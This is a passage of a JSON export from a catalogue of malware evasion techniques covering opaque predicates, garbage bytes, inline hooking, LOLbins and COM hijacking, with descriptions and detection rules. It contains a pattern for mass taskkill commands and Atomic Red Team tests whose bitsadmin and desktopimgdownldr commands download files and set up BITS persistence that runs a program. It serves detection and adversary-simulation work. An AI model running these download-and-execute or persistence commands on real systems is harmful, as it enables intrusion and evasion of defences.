                    "rule": "title: Kill multiple process\r\nstatus: experimental\r\ndescription: Kill multiple process\r\nauthor: Joe Security\r\ndate: 2019-12-30\r\nid: 200039\r\nthreatname:\r\nbehaviorgroup: 18\r\nclassification: 8\r\nmitreattack:\r\n\r\nlogsource:\r\n      category: process_creation\r\n      product: windows\r\ndetection:\r\n      selection:      \r\n          CommandLine:\r\n              - '*cmd*taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*'\r\n      condition: selection\r\nlevel: critical"
                }
            ]
        },
        {
            "name": "Opaque Predicate",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "Opaque predicate is a programming term that refers to decision making where there is actually only one path. For example, this can be seen as calculating a value that will always return True.",
            "resources": "https://www.carbonblack.com/2019/02/25/defeating-compiler-level-obfuscations-used-in-apt10-malware/",
            "tags": "predicate",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Code Transposition",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "Code transposition employs a reordering of sequences of the instruction of an original code without having any visible impact on the code’s behavior. Essentially, there are two methods to deploy this technique into action.",
            "resources": "https://sensorstechforum.com/advanced-obfuscation-techniques-malware/",
            "tags": "Code transposition",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Register Reassignment",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "Register reassignment is a technique which switches registers from generation to generation while in the meantime it keeps the program code without altering its behavior.",
            "resources": "https://sensorstechforum.com/advanced-obfuscation-techniques-malware/",
            "tags": "register",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Inserting Garbage Bytes",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "This technique works by inserting random bytes in chosen parts of the code. The intention is to make a\r\ndisassembler interpret those bytes as a normal code, what would then lead to incorrect disassembly. This technique is usually used in conjunction with some other technique.",
            "resources": "https://www.enisa.europa.eu/topics/trainings-for-cybersecurity-specialists/online-training-material/documents/static-analysis-of-artefacts-toolset.pdf",
            "tags": "garbage bytes",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Call Trick",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "This technique relies on changing the default function's return address. In conjunction with other techniques such as Garbage Bytes, this trick may break all kind of disassemblers. Recursive traversal disassemblers may disassemble the next instruction after the CALL, but the correct next instruction was actually changed by the called function. After the CALL and before the next executed instruction, other anti-disassembly techniques, such as Garbage Bytes, can be used. Linear sweep is also affected because they do not interpret instructions and may also disassemble the next instruction after the call, getting vulnerable to other anti-disassembly techniques such as Garbage Bytes.",
            "resources": "https://media.blackhat.com/bh-us-12/Briefings/Branco/BH_US_12_Branco_Scientific_Academic_WP.pdf",
            "tags": "call",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "NOP Sled",
            "category": [
                "https://search.unprotect.it/api/categories/5/?format=api"
            ],
            "description": "In computer security, a NOP slide, NOP sled or NOP ramp is a sequence of NOP (no-operation) instructions meant to \"slide\" the CPU's instruction execution flow to its final, desired destination whenever the program branches to a memory address anywhere on the slide.\r\n\r\nThe technique sees common usage in software exploits, where it is used to direct program execution when a branch instruction target is not known precisely.",
            "resources": "https://silviocesare.wordpress.com/2009/05/13/removing-semantic-nops-from-malware/",
            "tags": "nop",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Inline Hooking",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "Inline hooking is a method of intercepting calls to target functions,which is mainly used by antiviruses, sandboxes, and malware. The general idea is to redirect a function to our own, so that we can perform processing before and/or after the function does its; this could include: checking parameters, shimming, logging, spoofing returned data, and filtering calls. Rootkits tend to use hooks to modify data returned from system calls in order to hide their presence, whilst security software uses them to prevent/monitor potentially malicious operations.\r\n\r\nThe hooks are placed by directly modifying code within the target function (inline modification), usually by overwriting the first few bytes with a jump; this allows execution to be redirected before the function does any processing. Most hooking engines use a 32-bit relative jump (opcode 0xE9), which takes up 5 bytes of space.",
            "resources": "http://www.binaryguard.com/bgc/malware/sandbox/2015/11/09/dissecting_inline_hooks.html",
            "tags": "hook",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "LOLbins",
            "category": [
                "https://search.unprotect.it/api/categories/14/?format=api"
            ],
            "description": "Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, for files, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts.\r\n\r\nAdversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.",
            "resources": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
            "tags": "lolbin",
            "snippets": [],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "lolbins",
                    "rule": "attack_technique: T1197\r\ndisplay_name: BITS Jobs\r\natomic_tests:\r\n- name: Bitsadmin Download (cmd)\r\n  auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421\r\n  description: |\r\n    This test simulates an adversary leveraging bitsadmin.exe to download\r\n    and execute a payload\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    remote_file:\r\n      description: Remote file to download\r\n      type: url\r\n      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md\r\n    local_file:\r\n      description: Local file path to save downloaded file\r\n      type: path\r\n      default: '%temp%\\bitsadmin1_flag.ps1'\r\n  executor:\r\n    command: |\r\n      bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}\r\n    cleanup_command: |\r\n      del #{local_file} >nul 2>&1\r\n    name: command_prompt\r\n- name: Bitsadmin Download (PowerShell)\r\n  auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc\r\n  description: |\r\n    This test simulates an adversary leveraging bitsadmin.exe to download\r\n    and execute a payload leveraging PowerShell\r\n\r\n    Upon execution you will find a github markdown file downloaded to the Temp directory\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    remote_file:\r\n      description: Remote file to download\r\n      type: url\r\n      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md\r\n    local_file:\r\n      description: Local file path to save downloaded file\r\n      type: path\r\n      default: $env:TEMP\\bitsadmin2_flag.ps1\r\n  executor:\r\n    command: |\r\n      Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}\r\n    cleanup_command: |\r\n      Remove-Item #{local_file} -ErrorAction Ignore\r\n    name: powershell\r\n- name: Persist, Download, & Execute\r\n  auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae\r\n  description: |\r\n    This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.\r\n    Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.\r\n    This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of \"svchost.exe\" and an Initiating Process Command Line of \"svchost.exe -k netsvcs -p -s BITS\"\r\n    This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    command_path:\r\n      description: Path of command to execute\r\n      type: path\r\n      default: C:\\Windows\\system32\\notepad.exe\r\n    bits_job_name:\r\n      description: Name of BITS job\r\n      type: string\r\n      default: AtomicBITS\r\n    local_file:\r\n      description: Local file path to save downloaded file\r\n      type: path\r\n      default: '%temp%\\bitsadmin3_flag.ps1'\r\n    remote_file:\r\n      description: Remote file to download\r\n      type: url\r\n      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md\r\n  executor:\r\n    command: |\r\n      bitsadmin.exe /create #{bits_job_name}\r\n      bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\r\n      bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} \"\"\r\n      bitsadmin.exe /resume #{bits_job_name}\r\n      timeout 5\r\n      bitsadmin.exe /complete #{bits_job_name}\r\n    cleanup_command: |\r\n      del #{local_file} >nul 2>&1\r\n    name: command_prompt\r\n- name: Bits download using destktopimgdownldr.exe (cmd)\r\n  auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114\r\n  description: |\r\n    This test simulates using destopimgdwnldr.exe to download a malicious file\r\n    instead of a desktop or lockscreen background img. The process that actually makes \r\n    the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) \r\n    and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    remote_file:\r\n      description: Remote file to download\r\n      type: url\r\n      default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md\r\n    download_path:\r\n      description: Local file path to save downloaded file\r\n      type: path\r\n      default: 'SYSTEMROOT=C:\\Windows\\Temp'\r\n    cleanup_path:\r\n      description: path to delete file as part of cleanup_command\r\n      type: path\r\n      default: C:\\Windows\\Temp\\Personalization\\LockScreenImage\r\n    cleanup_file:\r\n      description: file to remove as part of cleanup_command\r\n      type: string\r\n      default: \"*.md\"\r\n  executor:\r\n    command: |\r\n      set \"#{download_path}\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr\r\n    cleanup_command: |\r\n      del #{cleanup_path}\\#{cleanup_file} >null 2>&1\r\n    name: command_prompt"
                }
            ]
        },
        {
            "name": "COM Hijacking",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection",
            "resources": "https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com",
            "tags": "com",
            "snippets": [],
            "detection_rules": []
        }
    ]
}